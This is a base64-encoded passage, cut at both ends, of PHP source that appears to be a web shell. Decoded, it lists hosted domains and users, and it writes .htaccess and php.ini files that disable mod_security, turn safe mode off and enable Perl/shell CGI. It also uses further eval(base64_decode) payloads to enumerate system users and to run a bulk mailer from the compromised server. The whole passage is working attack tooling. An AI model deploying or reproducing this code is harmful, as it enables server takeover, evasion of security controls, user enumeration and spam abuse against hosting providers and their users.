ICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+Jy4kY291bnQrKy4nPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LicuJGRvbWFpblsxXVswXS4nLz4nLiRkb21haW5bMV1bMF0uJzwvYT48L3RkPjx0ZD4nLiR1c2VyWyduYW1lJ10uJzwvdGQ+PHRkPicuJG91dC4nPC90ZD48L3RyPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOwogICAgICAgIH0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyAgIAogICAgfQogICAgZWNobyAiPC9kaXY+IjsKICAgIHByaW50Rm9vdGVyKCk7Cn0gCgpmdW5jdGlvbiBhY3Rpb25CeXBhc3MoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNhZmUgTW9kZTwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj58IFNBRkUgTU9ERSBBTkQgTU9EIFNFQ1VSSVRZIERJU0FCTEVEIEFORCBQRVJMIDUwMCBJTlRFUk5BTCBFUlJPUiBCWVBBU1MgfDwvc3Bhbj48L2gzPkZvbGxvd2luZyBwaHAuaW5pIGFuZCAuaHRhY2Nlc3MobW9kKSBhbmQgcGVybCguaHRhY2Nlc3MpW2NvbnZlcnQgcGVybCBleHRlbnRpb24gKi5wbCA9PiAqLnNoICBdIGZpbGVzIGNyZWF0ZSBpbiBmb2xsb3dpbmcgZGlyPGJyPnwgIi4kR0xPQkFMU1snY3dkJ10uIiB8PGJyPjxiciAvPiI7CiAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoTW9kKSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnc2hcJykiPnwgLmh0YWNjZXNzKHBlcmwpIHwgPC9hPjwvY2VudGVyPic7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKQogICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJzxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4KICAgICAgICAgICAgU2VjLS0tLS0tRW5naW5lIE9mZgogICAgICAgICAgICBTZWMtLS0tLS1TY2FuUE9TVCBPZmYKICAgICAgICAgICAgPC9JZk1vZHVsZT4nKTsKICAgICAgICBmY2xvc2UoJGZpbCk7CiAgIH0KICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkmJiBpc3NldCgkX1BPU1RbJ3AxJ10pKQogICB7CiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJ3NhZmVfbW9kZT1PRkYKICAgICAgICAgICAgZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORScpOwogICAgICAgIGZjbG9zZSgkZmlsKTsKICAgIH0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AzJ10pICYmIGlzc2V0KCRfUE9TVFsncDMnXSkpCiAgICB7CiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsKICAgICAgICBmd3JpdGUoJGZpbCwnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQogICAgICAgIEFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnNoCiAgICAgICAgQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbAogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwnKTsKICAgICAgICBmY2xvc2UoJGZpbCk7IAogICAgfQogICAgZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uR2V0VXNlcigpewogICAgcHJpbnRIZWFkZXIoKTsKICAgICAgZWNobyAnPGgxPkdldCBVc2VyPC9oMT4nOwogICAgZXZhbChiYXNlNjRfZGVjb2RlKCdKR2tnUFNBd093MEtkMmhwYkdVZ0tDUnBJRHdnTmpBd01EQXBJSHNOQ2dra2JHbHVaU0E5SUhCdmMybDRYMmRsZEhCM2RXbGtLQ1JwCktUc05DZ2xwWmlBb0lXVnRjSFI1S0NSc2FXNWxLU2tnZXcwS0NRbDNhR2xzWlNBb2JHbHpkQ0FvSkd0bGVTd2dKSFpzS1NBOUlHVmgKWTJnb0pHeHBibVVwS1hzTkNna0pDV1ZqYUc4Z0lpUjJiRHd2WW5JK0lqc05DZ2tKQ1dKeVpXRnJPdzBLQ1FsOURRb0pmUTBLSUFrawphU3NyT3cwS2ZRPT0nKSk7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25NYWlsZXIoKXsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+TWFpbGVyPC9oMT4nOwpldmFsKGJhc2U2NF9kZWNvZGUoJ0x5OUViMjUwSUdOb1lXNW5aU0JoYm5sMGFHbHVaeUJtY205dElHSmxiRzkzQ2lSelpXTjFjbVVnUFNBaUlqc0taWEp5YjNKZmNtVndiM0owYVc1bktEQXBPd3BBSkdGamRHbHZiajBrWDFCUFUxUmJKMkZqZEdsdmJpZGRPd3BBSkdaeWIyMDlKRjlRVDFOVVd5ZG1jbTl0SjEwN0NrQWtjbVZoYkc1aGJXVTlKRjlRVDFOVVd5ZHlaV0ZzYm1GdFpTZGRPd3BBSkhKbGNHeDVkRzg5SkY5UVQxTlVXeWR5WlhCc2VYUnZKMTA3Q2tBa2MzVmlhbVZqZEQwa1gxQlBVMVJiSjNOMVltcGxZM1FuWFRzS1FDUnRaWE56WVdkbFBTUmZVRTlUVkZzbmJXVnpjMkZuWlNkZE93cEFKR1Z0WVdsc2JHbHpkRDBrWDFCUFUxUmJKMlZ0WVdsc2JHbHpkQ2RkT3dwQUpHWnBiR1ZmYm1GdFpUMGtYMFpKVEVWVFd5ZG1hV3hsSjExYkoyNWhiV1VuWFRzS1FDUmpiMjUwWlc1MGRIbHdaVDBrWDFCUFUxUmJKMk52Ym5SbGJuUjBlWEJsSjEwN0NrQWtabWxzWlQwa1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwN0NrQWtZVzF2ZFc1MFBTUmZVRTlUVkZzbllXMXZkVzUwSjEwN0NuTmxkRjkwYVcxbFgyeHBiV2wwS0dsdWRIWmhiQ2drWDFCUFUxUmJKM1JwYldWc2FXMXBkQ2RkS1NrN0NqOCtDandoUkU5RFZGbFFSU0JvZEcxc0lGQlZRa3hKUXlBaUxTOHZWek5ETHk5RVZFUWdXRWhVVFV3Z01TNHdJRlJ5WVc1emFYUnBiMjVoYkM4dlJVNGlDaUFnSUNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk5VVVpOTRhSFJ0YkRFdlJGUkVMM2hvZEcxc01TMTBjbUZ1YzJsMGFXOXVZV3d1WkhSa0lqNEtQR2gwYld3K0NqeG9aV0ZrUGdvOGRHbDBiR1UrSUxCYlRXRnBUR1Z5SUVKWklGUm9aU0JIWlc0aGRYTmRzQ0E4TDNScGRHeGxQZ284Y0NCaGJHbG5iajBpWTJWdWRHVnlJajRLUEhScGRHeGxQaUN3VzAxaGFVeGxjaUJDV1NCVWFHVWdSMlZ1SVhWelhiQWdQQzkwYVhSc1pUNEtQQzl3UGdvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDEzYVc1a2IzZHpMVEV5TlRZaVBnbzhjM1I1YkdVZ2RIbHdaVDBpZEdWNGRDOWpjM01pUGdvOElTMHRDaTV6ZEhsc1pURWdld29KWm05dWRDMW1ZVzFwYkhrNklFZGxibVYyWVN3Z1FYSnBZV3dzSUVobGJIWmxkR2xqWVN3Z2MyRnVjeTF6WlhKcFpqc0tDV1p2Ym5RdGMybDZaVG9nTVRKd2VEc0tmUW91YzNSNWJHVXlJSHNLQ1dadmJuUXRjMmw2WlRvZ01UQndlRHNLQ1dadmJuUXRabUZ0YVd4NU9pQkhaVzVsZG1Fc0lFRnlhV0ZzTENCSVpXeDJaWFJwWTJFc0lITmhibk10YzJWeWFXWTdDbjBLQ2kwdFBnbzhMM04wZVd4bFBnbzhMMmhsWVdRK0NqeGliMlI1SUdKblkyOXNiM0k5SWlOR05VWTFSalVpSUhSbGVIUTlJaU13TURBd01EQWlQZ29LUEQ5d2FIQUtTV1lnS0NSaFkzUnBiMjQ5UFNKdGVYTnhiQ0lwZXdvdkwwZHlZV0lnWlcxaGFXd2dZV1JrY21WemMyVnpJR1p5YjIwZ1RYbFRVVXdLYVc1amJIVmtaU0FpTGk5dGVYTnhiQzVwYm1adkxuQm9jQ0k3Q2dvZ0lHbG1JQ2doSkhOeGJHaHZjM1FnZkh3Z0lTUnpjV3hzYjJkcGJpQjhmQ0FoSkhOeGJIQmhjM01nZkh3Z0lTUnpjV3hrWWlCOGZDQWhKSE54YkhGMVpYSjVLWHNLSUNBZ0lIQnlhVzUwSUNKUWJHVmhjMlVnWTI5dVptbG5kWEpsSUcxNWMzRnNMbWx1Wm04dWNHaHdJSGRwZEdnZ2VXOTFjaUJOZVZOUlRDQnBibVp2Y20xaGRHbHZiaTRnUVd4c0lITmxkSFJwYm1keklHbHVJSFJvYVhNZ1kyOXVabWxuSUdacGJHVWdZWEpsSUhKbGNYVnBjbVZrTGlJN0NpQWdJQ0JsZUdsME93b2dJSDBLQ2lBZ0pHUmlJRDBnYlhsemNXeGZZMjl1Ym1WamRDZ2tjM0ZzYUc5emRDd2dKSE54Ykd4dloybHVMQ0FrYzNGc2NHRnpjeWtnYjNJZ1pHbGxLQ0pEYjI1dVpXTjBhVzl1SUhSdklFMTVVMUZNSUVaaGFXeGxaQzRpS1RzS0lDQnRlWE54YkY5elpXeGxZM1JmWkdJb0pITnhiR1JpTENBa1pHSXBJRzl5SUdScFpTZ2lRMjkxYkdRZ2JtOTBJSE5sYkdWamRDQmtZWFJoWW1GelpTQWtjM0ZzWkdJaUtUc0tJQ0FrY21WemRXeDBJRDBnYlhsemNXeGZjWFZsY25rb0pITnhiSEYxWlhKNUtTQnZjaUJrYVdVb0lsRjFaWEo1SUVaaGFXeGxaRG9nSkhOeGJIRjFaWEo1SWlrN0NpQWdKRzUxYlhKdmQzTWdQU0J0ZVhOeGJGOXVkVzFmY205M2N5Z2tjbVZ6ZFd4MEtUc0tDaUFnWm05eUtDUjRQVEE3SUNSNFBDUnVkVzF5YjNkek95QWtlQ3NyS1hzS0lDQWdJQ1J5WlhOMWJIUmZjbTkzSUQwZ2JYbHpjV3hmWm1WMFkyaGZjbTkzS0NSeVpYTjFiSFFwT3dvZ0lDQWdJQ1J2Ym1WbGJXRnBiQ0E5SUNSeVpYTjFiSFJmY205M1d6QmRPd29nSUNBZ0lDUmxiV0ZwYkd4cGMzUWdMajBnSkc5dVpXVnRZV2xzTGlKY2JpSTdDaUFnSUgwS0lDQjlDZ29nSUdsbUlDZ2tZV04wYVc5dVBUMGljMlZ1WkNJcGV5QWtiV1Z6YzJGblpTQTlJSFZ5YkdWdVkyOWtaU2drYldWemMyRm5aU2s3Q2lBZ0lDUnRaWE56WVdkbElEMGdaWEpsWjE5eVpYQnNZV05sS0NJbE5VTWxNaklpTENBaUpUSXlJaXdnSkcxbGMzTmhaMlVwT3dvZ0lDQWtiV1Z6YzJGblpTQTlJSFZ5YkdSbFkyOWtaU2drYldWemMyRm5aU2s3Q2lBZ0lDUnRaWE56WVdkbElEMGdjM1J5YVhCemJHRnphR1Z6S0NSdFpYTnpZV2RsS1RzS0lDQWdKSE4xWW1wbFkzUWdQU0J6ZEhKcGNITnNZWE5vWlhNb0pITjFZbXBsWTNRcE93b2dJQ0I5Q2o4K0NqeG1iM0p0SUc1aGJXVTlJbVp2Y20weElpQnRaWFJvYjJROUluQnZjM1FpSUdGamRHbHZiajBpSWlCbGJtTjBlWEJsUFNKdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElqNDhZbklnTHo0S0lDQThkR0ZpYkdVZ2QybGtkR2c5SWpFME1pSWdZbTl5WkdWeVBTSXdJajRLSUNBZ0lEeDBjajRLQ2lBZ0lDQWdJRHgwWkNCM2FXUjBhRDBpT0RFaVBnb2dJQ0FnSUNBZ0lEeGthWFlnWVd4cFoyNDlJbkpwWjJoMElqNEtJQ0FnSUNBZ0lDQWdJRHhtYjI1MElITnBlbVU5SWkweklpQm1ZV05sUFNKV1pYSmtZVzVoTENCQmNtbGhiQ3dnU0dWc2RtVjBhV05oTENCellXNXpMWE5sY21sbUlqNVpiM1Z5SUVWdFlXbHNPand2Wm05dWRENEtJQ0FnSUNBZ0lDQThMMlJwZGo0S0lDQWdJQ0FnUEM5MFpENEtDaUFnSUNBZ0lEeDBaQ0IzYVdSMGFEMGlNakU1SWo0S0lDQWdJQ0FnSUNBOFptOXVkQ0J6YVhwbFBTSXRNeUlnWm1GalpUMGlWbVZ5WkdGdVlTd2dRWEpwWVd3c0lFaGxiSFpsZEdsallTd2djMkZ1Y3kxelpYSnBaaUkrQ2lBZ0lDQWdJQ0FnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpWm5KdmJTSWdkbUZzZFdVOUlqdy9jR2h3SUhCeWFXNTBJQ1JtY205dE95QS9QaUlnYzJsNlpUMGlNekFpSUM4K0NpQWdJQ0FnSUNBZ1BDOW1iMjUwUGdvZ0lDQWdJQ0E4TDNSa1Bnb0tJQ0FnSUNBZ1BIUmtJSGRwWkhSb1BTSXlNVElpUGdvZ0lDQWdJQ0FnSUR4a2FYWWdZV3hwWjI0OUluSnBaMmgwSWo0S0lDQWdJQ0FnSUNBZ0lEeG1iMjUwSUhOcGVtVTlJaTB6SWlCbVlXTmxQU0pXWlhKa1lXNWhMQ0JCY21saGJDd2dTR1ZzZG1WMGFXTmhMQ0J6WVc1ekxYTmxjbWxtSWo1WmIzVnlJRTVoYldVNlBDOW1iMjUwUGdvZ0lDQWdJQ0FnSUR3dlpHbDJQZ29nSUNBZ0lDQThMM1JrUGdvS0lDQWdJQ0FnUEhSa0lIZHBaSFJvUFNJeU56Z2lQZ29nSUNBZ0lDQWdJRHhtYjI1MElITnBlbVU5SWkweklpQm1ZV05sUFNKV1pYSmtZVzVoTENCQmNtbGhiQ3dnU0dWc2RtVjBhV05oTENCellXNXpMWE5sY21sbUlqNEtJQ0FnSUNBZ0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSnlaV0ZzYm1GdFpTSWdkbUZzZFdVOUlqdy9jR2h3SUhCeWFXNTBJQ1J5WldGc2JtRnRaVHNnUHo0aUlITnBlbVU5SWpNd0lpQXZQZ29nSUNBZ0lDQWdJRHd2Wm05dWRENEtJQ0FnSUNBZ1BDOTBaRDRLSUNBZ0lEd3ZkSEkrQ2lBZ0lDQThkSEkrQ2lBZ0lDQWdJRHgwWkNCM2FXUjBhRDBpT0RFaVBnb2dJQ0FnSUNBZ0lEeGthWFlnWVd4cFoyNDlJbkpwWjJoMElqNEtJQ0FnSUNBZ0lDQWdJRHhtYjI1MElITnBlbVU5SWkweklpQm1ZV05sUFNKV1pYSmtZVzVoTENCQmNtbGhiQ3dnU0dWc2RtVjBhV05oTENCellXNXpMWE5sY21sbUlqNVNaWEJzZVMxVWJ6bzhMMlp2Ym5RK0NpQWdJQ0FnSUNBZ1BDOWthWFkrQ2lBZ0lDQWdJRHd2ZEdRK0NpQWdJQ0FnSUR4MFpDQjNhV1IwYUQwaU1qRTVJajRLSUNBZ0lDQWdJQ0E4Wm05dWRDQnphWHBsUFNJdE15SWdabUZqWlQwaVZtVnlaR0Z1WVN3Z1FYSnBZV3dzSUVobGJIWmxkR2xqWVN3Z2MyRnVjeTF6WlhKcFppSStDaUFnSUNBZ0lDQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGljbVZ3YkhsMGJ5SWdkbUZzZFdVOUlqdy9jR2h3SUhCeWFXNTBJQ1J5WlhCc2VYUnZPeUEvUGlJZ2MybDZaVDBpTXpBaUlDOCtDaUFnSUNBZ0lDQWdQQzltYjI1MFBnb2dJQ0FnSUNBOEwzUmtQZ29nSUNBZ0lDQThkR1FnZDJsa2RHZzlJakl4TWlJK0NpQWdJQ0FnSUNBZ1BHUnBkaUJoYkdsbmJqMGljbWxuYUhRaVBnb2dJQ0FnSUNBZ0lDQWdQR1p2Ym5RZ2MybDZaVDBpTFRNaUlHWmhZMlU5SWxabGNtUmhibUVzSUVGeWFXRnNMQ0JJWld4MlpYUnBZMkVzSUhOaGJuTXRjMlZ5YVdZaVBrRjBkR0ZqYUNCR2FXeGxPand2Wm05dWRENEtJQ0FnSUNBZ0lDQThMMlJwZGo0S0lDQWdJQ0FnUEM5MFpENEtJQ0FnSUNBZ1BIUmtJSGRwWkhSb1BTSXlOemdpUGdvZ0lDQWdJQ0FnSUR4bWIyNTBJSE5wZW1VOUlpMHpJaUJtWVdObFBTSldaWEprWVc1aExDQkJjbWxoYkN3Z1NHVnNkbVYwYVdOaExDQnpZVzV6TFhObGNtbG1JajRLSUNBZ0lDQWdJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBTSm1hV3hsSWlCdVlXMWxQU0ptYVd4bElpQnphWHBsUFNJeU5DSWdMejRLSUNBZ0lDQWdJQ0E4TDJadmJuUStDaUFnSUNBZ0lEd3ZkR1ErQ2lBZ0lDQThMM1J5UGdvZ0lDQWdQSFJ5UGdvZ0lDQWdJQ0E4ZEdRZ2QybGtkR2c5SWpneElqNEtJQ0FnSUNBZ0lDQThaR2wySUdGc2FXZHVQU0p5YVdkb2RDSStDaUFnSUNBZ0lDQWdJQ0E4Wm05dWRDQnphWHBsUFNJdE15SWdabUZqWlQwaVZtVnlaR0Z1WVN3Z1FYSnBZV3dzSUVobGJIWmxkR2xqWVN3Z2MyRnVjeTF6WlhKcFppSStVM1ZpYW1WamREbzhMMlp2Ym5RK0NpQWdJQ0FnSUNBZ1BDOWthWFkrQ2lBZ0lDQWdJRHd2ZEdRK0NpQWdJQ0FnSUR4MFpDQmpiMnh6Y0dGdVBTSXpJaUIzYVdSMGFEMGlOekF6SWo0S0lDQWdJQ0FnSUNBOFptOXVkQ0J6YVhwbFBTSXRNeUlnWm1GalpUMGlWbVZ5WkdGdVlTd2dRWEpwWVd3c0lFaGxiSFpsZEdsallTd2djMkZ1Y3kxelpYSnBaaUkrQ2lBZ0lDQWdJQ0FnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpYzNWaWFtVmpkQ0lnZG1Gc2RXVTlJancvSUhCeWFXNTBJQ1J6ZFdKcVpXTjBPeUEvUGlJZ2MybDZaVDBpT1RBaUlDOCtDaUFnSUNBZ0lDQWdQQzltYjI1MFBnb2dJQ0FnSUNBOEwzUmtQZ29nSUNBZ1BDOTBjajRLSUNBZ0lEeDBjaUIyWVd4cFoyNDlJblJ2Y0NJK0NpQWdJQ0FnSUR4MFpDQmpiMnh6Y0dGdVBTSXpJaUIzYVdSMGFEMGlOVEl3SWo0S0lDQWdJQ0FnSUNBOFptOXVkQ0JtWVdObFBTSldaWEprWVc1aExDQkJjbWxoYkN3Z1NHVnNkbVYwYVdOaExDQnpZVzV6TFhObGNtbG1JaUJ6YVhwbFBTSXRNeUkrVFdWemMyRm5aU0JDYjNnZ09qd3ZabTl1ZEQ0S0lDQWdJQ0FnUEM5MFpENEtJQ0FnSUNBZ1BIUmtJSGRwWkhSb1BTSXlOemdpUGdvZ0lDQWdJQ0FnSUR4bWIyNTBJR1poWTJVOUlsWmxjbVJoYm1Fc0lFRnlhV0ZzTENCSVpXeDJaWFJwWTJFc0lITmhibk10YzJWeWFXWWlJSE5wZW1VOUlpMHpJajVGYldGcGJDQlVZWEpuWlhRZ0x5QkZiV0ZwYkNCVFpXNWtJRlJ2SURvOEwyWnZiblErQ2lBZ0lDQWdJRHd2ZEdRK0NpQWdJQ0E4TDNSeVBnb2dJQ0FnUEhSeUlIWmhiR2xuYmowaWRHOXdJajRLSUNBZ0lDQWdQSFJrSUdOdmJITndZVzQ5SWpNaUlIZHBaSFJvUFNJMU1qQWlQZ29nSUNBZ0lDQWdJRHhtYjI1MElITnBlbVU5SWkweklpQm1ZV05sUFNKV1pYSmtZVzVoTENCQmNtbGhiQ3dnU0dWc2RtVjBhV05oTENCellXNXpMWE5sY21sbUlqNEtJQ0FnSUNBZ0lDQWdJRHgwWlhoMFlYSmxZU0J1WVcxbFBTSnRaWE56WVdkbElpQmpiMnh6UFNJMU5pSWdjbTkzY3owaU1UQWlQancvY0dod0lIQnlhVzUwSUNSdFpYTnpZV2RsT3lBL1Bqd3ZkR1Y0ZEdGeVpXRStQR0p5SUM4K0NpQWdJQ0FnSUNBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpY21Ga2FXOGlJRzVoYldVOUltTnZiblJsYm5SMGVYQmxJaUIyWVd4MVpUMGljR3hoYVc0aUlDOCtJRkJzWVdsdUNpQWdJQ0FnSUNBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpY21Ga2FXOGlJRzVoYldVOUltTnZiblJsYm5SMGVYQmxJaUIyWVd4MVpUMGlhSFJ0YkNJZ1kyaGxZMnRsWkQwaVkyaGxZMnRsWkNJZ0x6NGdTRlJOVEFvZ0lDQWdJQ0FnSUNBZ1BHbHVjSFYwSUhSNWNHVTlJbWhwWkdSbGJpSWdibUZ0WlQwaVlXTjBhVzl1SWlCMllXeDFaVDBpYzJWdVpDSWdMejQ4WW5JZ0x6NEtDU0FnVG5WdFltVnlJSFJ2SUhObGJtUTZJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSmhiVzkxYm5RaUlIWmhiSFZsUFNJeElpQnphWHBsUFNJeE1DSWdMejQ4WW5JZ0x6NEtDU0FnVFdGNGFXMTFiU0J6WTNKcGNIUWdaWGhsWTNWMGFXOXVJSFJwYldVb2FXNGdjMlZqYjI1a2N5d2dNQ0JtYjNJZ2JtOGdkR2x0Wld4cGJXbDBLVHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSjBhVzFsYkdsdGFYUWlJSFpoYkhWbFBTSXdJaUJ6YVhwbFBTSXhNQ0lnTHo0S0lDQWdJQ0FnSUNBZ0lEeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSlRaVzVrSUdWTllXbHNjeUlnTHo0S0lDQWdJQ0FnSUNBOEwyWnZiblErQ2lBZ0lDQWdJRHd2ZEdRK0NpQWdJQ0FnSUR4MFpDQjNhV1IwYUQwaU1qYzRJajRLSUNBZ0lDQWdJQ0E4Wm05dWRDQnphWHBsUFNJdE15SWdabUZqWlQwaVZtVnlaR0Z1WVN3Z1FYSnBZV3dzSUVobGJIWmxkR2xqWVN3Z2MyRnVjeTF6WlhKcFppSStDaUFnSUNBZ0lDQWdJQ0E4ZEdWNGRHRnlaV0VnYm1GdFpUMGlaVzFoYVd4c2FYTjBJaUJqYjJ4elBTSXpNaUlnY205M2N6MGlNVEFpUGp3L2NHaHdJSEJ5YVc1MElDUmxiV0ZwYkd4cGMzUTdJRDgrUEM5MFpYaDBZWEpsWVQ0S0lDQWdJQ0FnSUNBOEwyWnZiblErQ2lBZ0lDQWdJRHd2ZEdRK0NpQWdJQ0E4TDNSeVBnb2dJRHd2ZEdGaWJHVStDand2Wm05eWJUNEtDancvQ21sbUlDZ2tZV04wYVc5dVBUMGljMlZ1WkNJcGV3b2dJR2xtSUNnaEpHWnliMjBnSmlZZ0lTUnpkV0pxWldOMElDWW1JQ0VrYldWemMyRm5aU0FtSmlBaEpHVnRZV2xzYkdsemRDbDdDaUFnSUNCd2NtbHVkQ0FpVUd4bFlYTmxJR052YlhCc1pYUmxJR0ZzYkNCbWFXVnNaSE1nWW1WbWIzSmxJSE5sYm1ScGJtY2dlVzkxY2lCdFpYTnpZV2RsTGlJN0NpQWdJQ0JsZUdsME93b2dJQ0I5Q2lBZ0pHRnNiR1Z0WVdsc2N5QTlJSE53YkdsMEtDSmNiaUlzSUNSbGJXRnBiR3hwYzNRcE93b2dJQ1J1ZFcxbGJXRnBiSE1nUFNCamIzVnVkQ2drWVd4c1pXMWhhV3h6S1RzS0lDQWtabWxzZEdWeUlEMGdJbTFoYVd4c2FYTjBJanNLSUNBa1pteHZZWFFnUFNBaVJuSnZiU0E2SUcxaGFXeHBjM1FnYVc1bWJ5QThibWN5UUd4cGRtVXVabkkrSWpzS0lDOHZUM0JsYmlCMGFHVWdabWxzWlNCaGRIUmhZMmh0Wlc1MElHbG1JR0Z1ZVN3Z1lXNWtJR0poYzJVMk5GOWxibU52WkdVZ2FYUWdabTl5SUdWdFlXbHNJSFJ5WVc1emNHOXlkQW9nU1dZZ0tDUm1hV3hsWDI1aGJXVXBld29nSUNCcFppQW9JV1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxLU2w3Q2dsa2FXVW9JbFJvWlNCbWFXeGxJSGx2ZFNCaGNtVWdkSEo1YVc1bklIUnZJSFZ3Ykc5aFpDQmpiM1ZzWkc0bmRDQmlaU0JqYjNCcFpXUWdkRzhnZEdobElITmxjblpsY2lJcE93b2dJQ0I5Q2lBZ0lDUmpiMjUwWlc1MElEMGdabkpsWVdRb1ptOXdaVzRvSkdacGJHVXNJbklpS1N4bWFXeGxjMmw2WlNna1ptbHNaU2twT3dvZ0lDQWtZMjl1ZEdWdWRDQTlJR05vZFc1clgzTndiR2wwS0dKaGMyVTJORjlsYm1OdlpHVW9KR052Ym5SbGJuUXBLVHNLSUNBZ0pIVnBaQ0E5SUhOMGNuUnZkWEJ3WlhJb2JXUTFLSFZ1YVhGcFpDaDBhVzFsS0NrcEtTazdDaUFnSUNSdVlXMWxJRDBnWW1GelpXNWhiV1VvSkdacGJHVXBPd29nSUgwS0NpQm1iM0lvSkhoNFBUQTdJQ1I0ZUR3a1lXMXZkVzUwT3lBa2VIZ3JLeWw3Q2lBZ1ptOXlLQ1I0UFRBN0lDUjRQQ1J1ZFcxbGJXRnBiSE03SUNSNEt5c3Bld29nSUNBZ0pIUnZJRDBnSkdGc2JHVnRZV2xzYzFza2VGMDdDaUFnSUNCcFppQW9KSFJ2S1hzS0lDQWdJQ0FnSkhSdklEMGdaWEpsWjE5eVpYQnNZV05sS0NJZ0lpd2dJaUlzSUNSMGJ5azdDaUFnSUNBZ0lDUnRaWE56WVdkbElEMGdaWEpsWjE5eVpYQnNZV05sS0NJbVpXMWhhV3dtSWl3Z0pIUnZMQ0FrYldWemMyRm5aU2s3Q2lBZ0lDQWdJQ1J6ZFdKcVpXTjBJRDBnWlhKbFoxOXlaWEJzWVdObEtDSW1aVzFoYVd3bUlpd2dKSFJ2TENBa2MzVmlhbVZqZENrN0NpQWdJQ0FnSUhCeWFXNTBJQ0pUWlc1a2FXNW5JRzFoYVd3Z2RHOGdKSFJ2TGk0dUxpNHVMaUk3Q2lBZ0lDQWdJR1pzZFhOb0tDazdDaUFnSUNBZ0lDUm9aV0ZrWlhJZ1BTQWlSbkp2YlRvZ0pISmxZV3h1WVcxbElEd2tabkp2YlQ1Y2NseHVVbVZ3YkhrdFZHODZJQ1J5WlhCc2VYUnZYSEpjYmlJN0NpQWdJQ0FnSUNSb1pXRmtaWElnTGowZ0lrMUpUVVV0Vm1WeWMybHZiam9nTVM0d1hISmNiaUk3Q2lBZ0lDQWdJRWxtSUNna1ptbHNaVjl1WVcxbEtTQWthR1ZoWkdWeUlDNDlJQ0pEYjI1MFpXNTBMVlI1Y0dVNklHMTFiSFJwY0dGeWRDOXRhWGhsWkRzZ1ltOTFibVJoY25rOUpIVnBaRnh5WEc0aU93b2dJQ0FnSUNCSlppQW9KR1pwYkdWZmJtRnRaU2tnSkdobFlXUmxjaUF1UFNBaUxTMGtkV2xrWEhKY2JpSTdDaUFnSUNBZ0lDUm9aV0ZrWlhJZ0xqMGdJa052Ym5SbGJuUXRWSGx3WlRvZ2RHVjRkQzhrWTI5dWRHVnVkSFI1Y0dWY2NseHVJanNLSUNBZ0lDQWdKR2hsWVdSbGNpQXVQU0FpUTI5dWRHVnVkQzFVY21GdWMyWmxjaTFGYm1OdlpHbHVaem9nT0dKcGRGeHlYRzVjY2x4dUlqc0tJQ0FnSUNBZ0pHaGxZV1JsY2